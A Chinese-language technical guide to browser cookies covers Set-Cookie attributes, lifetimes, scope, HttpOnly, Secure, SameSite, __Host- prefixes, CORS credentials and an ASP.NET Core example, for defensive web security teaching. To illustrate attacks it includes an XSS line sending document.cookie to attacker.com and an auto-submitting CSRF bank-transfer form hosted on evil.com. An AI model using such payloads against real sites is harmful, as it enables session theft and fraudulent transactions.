Cookie 深度技术指南:从原理到安全实践

Cookie 深度技术指南:从原理到安全实践 一、Cookie 是什么Cookie 是服务器通过 HTTP 响应头写入浏览器的键值对数据浏览器在后续请求中会自动将其携带回服务器。它是 Web 状态管理的基石解决了 HTTP 协议无状态的本质问题。基本数据流Server → Set-Cookie: sessionIdabc123; HttpOnly; Secure (写入) Browser → Cookie: sessionIdabc123 (发送)二、一个 Cookie 只对应一个键值对一个Set-Cookie响应头只能设置一个键值对但可以通过多个响应头设置多个 CookieSet-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteLax Set-Cookie: userId42; HttpOnly; Secure; SameSiteLax Set-Cookie: themedark; SameSiteLax浏览器发送请求时所有匹配的 Cookie 合并在一个Cookie请求头中以;分隔Cookie: sessionIdabc123; userId42; themedark重要请求中的Cookie头只包含键值对本身。HttpOnly、Secure、SameSite等安全属性只存在于服务器写入时的Set-Cookie响应头中不会随请求发送。三、Cookie 的完整属性Set-Cookie: sessionIdabc123; Domainexample.com; Path/; Max-Age86400; Secure; HttpOnly; SameSiteLax四、生命周期会话 Cookie vs 持久化 Cookie核心区别会话 Cookie持久化 Cookie设置方式不设置Expires或Max-Age设置Expires或Max-Age存储位置内存磁盘SQLite 文件生命周期浏览器关闭即销毁到达指定时间才过期典型用途登录 Session、临时状态记住登录、用户偏好设置示例# Session Cookie — 不设置时间属性 Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteLax # Persistent Cookie — 推荐用 Max-Age单位秒 Set-Cookie: rememberMetoken; Max-Age2592000; HttpOnly; Secure; SameSiteLax # Persistent Cookie — 用 Expires绝对时间受客户端时钟影响 Set-Cookie: rememberMetoken; ExpiresSun, 23 Jun 2026 00:00:00 GMT; HttpOnly; SecureMax-Age与Expires同时存在时Max-Age优先级更高。一个容易踩坑的细节Chrome / Edge 的会话恢复功能重启后恢复上次标签页会将内存中的会话 Cookie 一并恢复导致会话 Cookie 表现得像持久化 Cookie。不能将浏览器关闭作为 Session 失效的唯一保障服务端必须有主动过期机制。五、作用域控制5.1Domain设置值匹配范围Domainexample.comexample.com及所有子域不设置仅精确匹配当前域不含子域安全建议不要设置过宽的域范围减少 Cookie 的暴露面。5.2PathSet-Cookie: adminTokenxyz; Path/admin请求/admin/users→ 携带请求/api/data→ 不携带注意Path不是安全边界同域下的 JS 可以绕过 Path 读取 Cookie除非设置了HttpOnly。六、核心安全属性6.1HttpOnly— 防御 XSS 读取Set-Cookie: sessionIdabc123; HttpOnly设置后Cookie无法被document.cookie访问。// 攻击者注入的 XSS 脚本// 没有 HttpOnlyfetch(https://attacker.com/steal?cdocument.cookie);// → sessionIdabc123 被成功窃取// 有 HttpOnlyconsole.log(document.cookie);// → 敏感 Cookie 不可见攻击失效最佳实践所有认证相关 Cookie 必须设置HttpOnly只有确实需要前端 JS 读取的 Cookie如某些 CSRF Token 实现才可省略。6.2Secure— 防御中间人嗅探Set-Cookie: sessionIdabc123; SecureCookie仅在 HTTPS 连接下发送HTTP 请求中完全不携带。用户连接公共 WiFi中间人可嗅探流量 → 无 SecureCookie 明文出现在 HTTP 请求中被截获会话被劫持 → 有 SecureHTTP 请求不携带 Cookie无法截获配套措施配合 HSTS 使用防止浏览器降级到 HTTPStrict-Transport-Security: max-age31536000; includeSubDomains; preloadSecure只保护传输过程不保护存储在客户端磁盘上的 Cookie 文件本身。6.3SameSite— 防御 CSRF 攻击SameSite控制跨站请求时是否携带 Cookie是抵御 CSRF 的核心机制。三种取值SameSiteStrict完全禁止跨站携带 Cookie缺点用户从外部链接邮件、搜索引擎点击进入时首次请求不携带 Cookie体验差SameSiteLax现代浏览器默认值主流推荐请求类型是否携带顶层 GET 导航a href点击跳转✅ 携带跨站表单 POST 提交❌ 不携带img src跨站加载❌ 不携带fetch/XHR跨站请求❌ 不携带iframe嵌入❌ 不携带SameSiteNone; Secure允许所有跨站请求携带 Cookie必须同时设置Secure否则浏览器直接拒绝适用场景第三方嵌入组件支付控件、OAuth 弹窗、跨域 iframeCSRF 攻击场景演示!-- 攻击者页面 evil.com 中的隐藏表单 --formactionhttps://bank.com/transfermethodPOSTidcsrfinputtypehiddennametovalueattacker_accountinputtypehiddennameamountvalue10000/formscriptdocument.getElementById(csrf).submit();/scriptCookie 设置结果无 SameSite✅ 攻击成功Cookie 被携带转账执行SameSiteLax❌ 攻击失败POST 跨站不携带 CookieSameSiteStrict❌ 攻击失败七、__Host-与__Secure-Cookie 名称前缀通过命名前缀强制浏览器校验安全属性服务器无需额外逻辑前缀强制要求__Secure-必须设置Secure必须通过 HTTPS 设置__Host-必须设置Secure不能设置DomainPath必须为/Set-Cookie: __Host-sessionIdabc; Secure; Path/; HttpOnly; SameSiteLax防御 Cookie 投毒攻击Cookie Tossing攻击者控制 sub.example.com → 设置 Domainexample.com 的 Cookie覆盖父域的同名 Cookie → 使用 __Host- 前缀后浏览器强制不允许设置 Domain彻底阻断此攻击八、前端请求中的 Cookie 控制Fetch API// 默认不携带 Cookiefetch(/api/data);// 同源请求携带 Cookiefetch(/api/data,{credentials:same-origin});// 跨源请求也携带 Cookiefetch(https://api.example.com/data,{credentials:include});XMLHttpRequestconstxhrnewXMLHttpRequest();xhr.withCredentialstrue;xhr.open(GET,https://api.example.com/data);xhr.send();服务端 CORS 必须配合设置当前端使用credentials: include时服务器响应头必须明确指定Access-Control-Allow-Origin: https://app.example.com // 不能是通配符 * Access-Control-Allow-Credentials: true若返回Access-Control-Allow-Origin: *浏览器会拒绝带凭证的跨域响应。九、服务端写入的标准范式标准 HTTP 响应头Set-Cookie: __Host-sessionId随机高熵值; Max-Age3600; Path/; HttpOnly; Secure; SameSiteLaxC# ASP.NET Core 实现Response.Cookies.Append(__Host-sessionId,sessionToken,newCookieOptions{HttpOnlytrue,// Prevent XSS cookie theftSecuretrue,// HTTPS onlySameSiteSameSiteMode.Lax,// Prevent CSRFMaxAgeTimeSpan.FromHours(1),// Short lifetime for auth tokensPath/,// Do NOT set Domain — avoids overly broad scope});十、安全选择建议场景生命周期安全属性登录 Session会话 CookieHttpOnly; Secure; SameSiteLax“记住我” Token持久化7~30 天HttpOnly; Secure; SameSiteLax 服务端支持吊销敏感操作 Token会话 CookieHttpOnly; Secure; SameSiteStrict第三方嵌入场景按需Secure; SameSiteNone用户偏好无敏感信息持久化SameSiteLax可不设 HttpOnly十一、常见安全漏洞速查漏洞根因修复会话劫持缺少SecureHTTP 明文传输强制 HTTPS SecureXSS Cookie 窃取缺少HttpOnly设置HttpOnlyCSRF 攻击缺少SameSite设置SameSiteLax或StrictCookie 投毒子域可覆盖父域 Cookie使用__Host-前缀Cookie 固定攻击登录后未重新生成 Session ID登录成功后立即写入新值Session 永不过期过长的Max-Age或依赖浏览器关闭短Max-Age 服务端主动过期核心原则认证 Cookie 始终同时设置HttpOnlySecureSameSiteLax这三者组合可防御绝大多数针对 Cookie 的 Web 攻击。敏感场景优先选用会话 Cookie避免将高权限凭证持久化到磁盘。